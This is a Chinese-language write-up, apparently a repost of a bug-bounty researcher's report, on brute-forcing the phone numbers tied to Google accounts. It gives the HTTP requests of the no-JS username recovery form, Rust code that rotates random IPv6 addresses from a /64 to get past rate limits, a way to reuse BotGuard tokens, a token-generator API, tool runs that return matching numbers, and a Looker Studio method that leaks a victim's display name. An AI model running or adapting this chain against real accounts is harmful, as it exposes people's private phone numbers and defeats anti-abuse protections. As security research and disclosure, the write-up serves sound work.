前言
几个月前,国外白帽小哥在浏览器上禁用了 javascript,同时测试在现代网络中是否有任何 Google 服务在没有 JS 的情况下仍能正常运行。**有趣的是,用户名恢复表单仍然有效!***
这让白帽小哥感到惊讶,因为以前认为这些账户恢复表单自2018年以来都是需要JavaScript的,因为它们依赖于由严重混淆的 javascript 代码生成的 botguard 解决方案来以防滥用。
深入了解
用户名恢复表单似乎允许检查恢复电子邮件或电话号码是否与特定显示名称相关联,这需要 2 个 HTTP 请求:
请求包 1:
POST /signin/usernamerecovery HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Email=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359
Cookie 和 gxf 值来自初始页面 HTML。
响应包1:
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/name?ess=..<SNIP>..&hl=en
这为我们提供了一个 ess 值,该值与我们用于下一个 HTTP 请求的电话号码相关联。
请求包2:
POST /signin/usernamerecovery/lookup HTTP/2
Host: accounts.google.com
Cookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
Origin: https://accounts.google.com
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
challengeId=0&challengeType=28&ess=<snip>&bgresponse=js_disabled&GivenName=john&FamilyName=smith
该请求允许我们检查是否存在具有该电话号码以及显示名称 “John Smith” 的 Google 帐户。
响应包 2(未找到帐户):
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...
响应包 2(找到帐户):
HTTP/2 302 Found
Content-Type: text/html; charset=UTF-8
Location: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...
如何爆破
白帽小哥的第一次尝试是徒劳的,因为在几次请求后 Google 会对 IP 地址进行速率限制,并显示验证码:
我们可以通过使用代理来解决这个问题,以荷兰为例, 忘记密码流程为我们提供了电话提示 •• ••••••03。
对于荷兰手机号码,它们总是以 06 开头,这意味着我们必须对 6 位数字进行爆破,10的 6 次方 = 1,000,000 ,虽然可以通过代理实现,但是否有更好的方法呢?
IPv6?
大多数服务提供商(如 Vultr)都提供 /64 IP 范围,这为我们提供了 18,446,744,073,709,551,616 个IP地址。
理论上,我们可以使用 IPv6 来变换用于每次请求的 IP 地址,从而绕过这个速率限制!
HTTP 服务器似乎也支持 IPv6:
~ $ curl -6 https://accounts.google.com
<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<!-- GSE Default Error -->
<H1>Moved Temporarily</H1>
The document has moved <A HREF="https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F">here</A>.
</BODY>
</HTML>
为了测试这一点,白帽小哥通过网络接口路由了 IPv6 范围,然后开始在 gpb 上工作,使用 reqwest 的 local_address 方法在其 ClientBuilder 上设置IP地址为子网中的随机IP:
pub fn get_rand_ipv6(subnet: &str) -> IpAddr {
let (ipv6, prefix_len) = match subnet.parse::<Ipv6Cidr>() {
Ok(cidr) => {
let ipv6 = cidr.first_address();
let length = cidr.network_length();
(ipv6, length)
}
Err(_) => {
panic!("invalid IPv6 subnet");
}
};
let ipv6_u128: u128 = u128::from(ipv6);
let rand: u128 = random();
let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);
let host_part = (rand << prefix_len) >> prefix_len;
let result = net_part | host_part;
IpAddr::V6(Ipv6Addr::from(result))
}
pub fn create_client(subnet: &str, user_agent: &str) -> Client {
let ip = get_rand_ipv6(subnet);
Client::builder()
.redirect(redirect::Policy::none())
.danger_accept_invalid_certs(true)
.user_agent(user_agent)
.local_address(Some(ip))
.build().unwrap()
}
白帽小哥运行了上面的 PoC 代码,但还是会出现验证码页面。似乎出于某种原因,禁用 JS 表单的数据中心 IP 地址总是会出现验证码,该死!
使用 JS 表单中的 BotGuard 令牌
白帽小哥再次查看 2 个请求,看看是否有办法解决这个问题,其中bgresponse=js_disabled
引起了白帽小哥的注意。
小哥依稀记得,在启用 JS 的帐户恢复表单上,botguard 令牌是通过 bgRequest
参数传递的。
如果将 js_disabled
替换为启用 JS 的表单请求中的 botguard 令牌,会怎样呢?测试了一下, 居然奏效了!
botguard 令牌似乎对 No-JS 表单没有请求限制,但这些随机的“人”是谁呢?
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703
通过继续深入了解,白帽小哥发现这些人都是拥有 Google 帐户名称“Henry”但没有设置姓氏的人,以及一部最后 2 位数字为 03 的手机。
对于这些数字,它将返回“Henry”和任何姓氏的 usernamerecovery/challenge
。
通过添加一些额外的代码来验证使用名字和随机姓氏(如 0fasfk1AFko1wf) 的可能命中。如果仍然命中,就会被过滤掉,像下面这样:
$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.
在实际操作中,不太可能有一次以上的命中,因为另一个谷歌用户拥有相同的完整显示名称、最后两位数字以及国家代码的情况并不常见。
还需要解决的几件事
现在我们有一个基本的 PoC ,但仍有一些问题需要解决:
- 我们如何知道受害者的手机属于哪个国家/地区?
- 如何获取受害者的 Google 帐户显示的名称?
关于第一个问题,我们可以根据忘记密码流程提供给我们的电话掩码来找出国家/地区代码。
Google 实际上只是对每个号码使用 libphonenumbers 的 “国家格式”。 以下是一些示例:
{
...
"• (•••) •••-••-••": [
"ru"
],
"•• ••••••••": [
"nl"
],
"••••• ••••••": [
"gb"
],
"(•••) •••-••••": [
"us"
]
}
白帽小哥编写了一个脚本,该脚本收集了所有国家/地区的掩码格式mask.json:
针对第二个问题,最初在 2023 年,Google 更改了他们的政策,仅在目标与用户有直接交互(电子邮件、共享文档等)时才显示名称,因此他们慢慢地从端点中删除了名称。
到了 2024 年 4 月,他们更新了内部 FocusBackend 服务,以完全停止返回未经身份验证的帐户的显示名称,几乎删除了所有显示名称。
要找到显示名称的泄漏会很棘手,但最终在查看了随机的 Google 产品后,小哥发现可以创建一个 Looker Studio 文档,将其所有权转移给受害者,受害者的显示名称便会在主页上泄露, 而且受害者无需交互 :
进一步优化
通过使用 libphonenumbers 的号码验证,小哥能够为每个国家/地区生成一个包含移动电话前缀、已知区号和位数format.json
...
"nl": {
"code": "31",
"area_codes": ["61", "62", "63", "64", "65", "68"],
"digits": [7]
},
...
白帽小哥还实现了实时 libphonenumber 验证 ,以减少对 Google API 的无效查询。
对于 botguard 令牌,小哥使用 chromedp 编写了一个 Go 脚本 ,只需一个简单的 API 调用即可生成 BotGuard 令牌:
$ curl http://localhost:7912/api/generate_bgtoken
{
"bgToken": "<generated_botguard_token>"
}
组合在一起
- 通过 Looker Studio 泄露 Google 帐户显示名称
- 完成该电子邮件的忘记密码流程并获取被屏蔽的电话号码
- 使用显示名称和掩码电话运行 gpb 程序以暴力破解电话号码
爆破所需的时间
使用具有消费级规格 (16 个 vcpu) 的 0.30 USD/小时的服务器,白帽小哥能够实现每秒大约 40000 次检查。
甚至还可以通过其它服务(如 PayPal)中密码重置流程的电话号码提示来显著减少此时间,这些服务提供了更多数字(例如 +14•••••1779)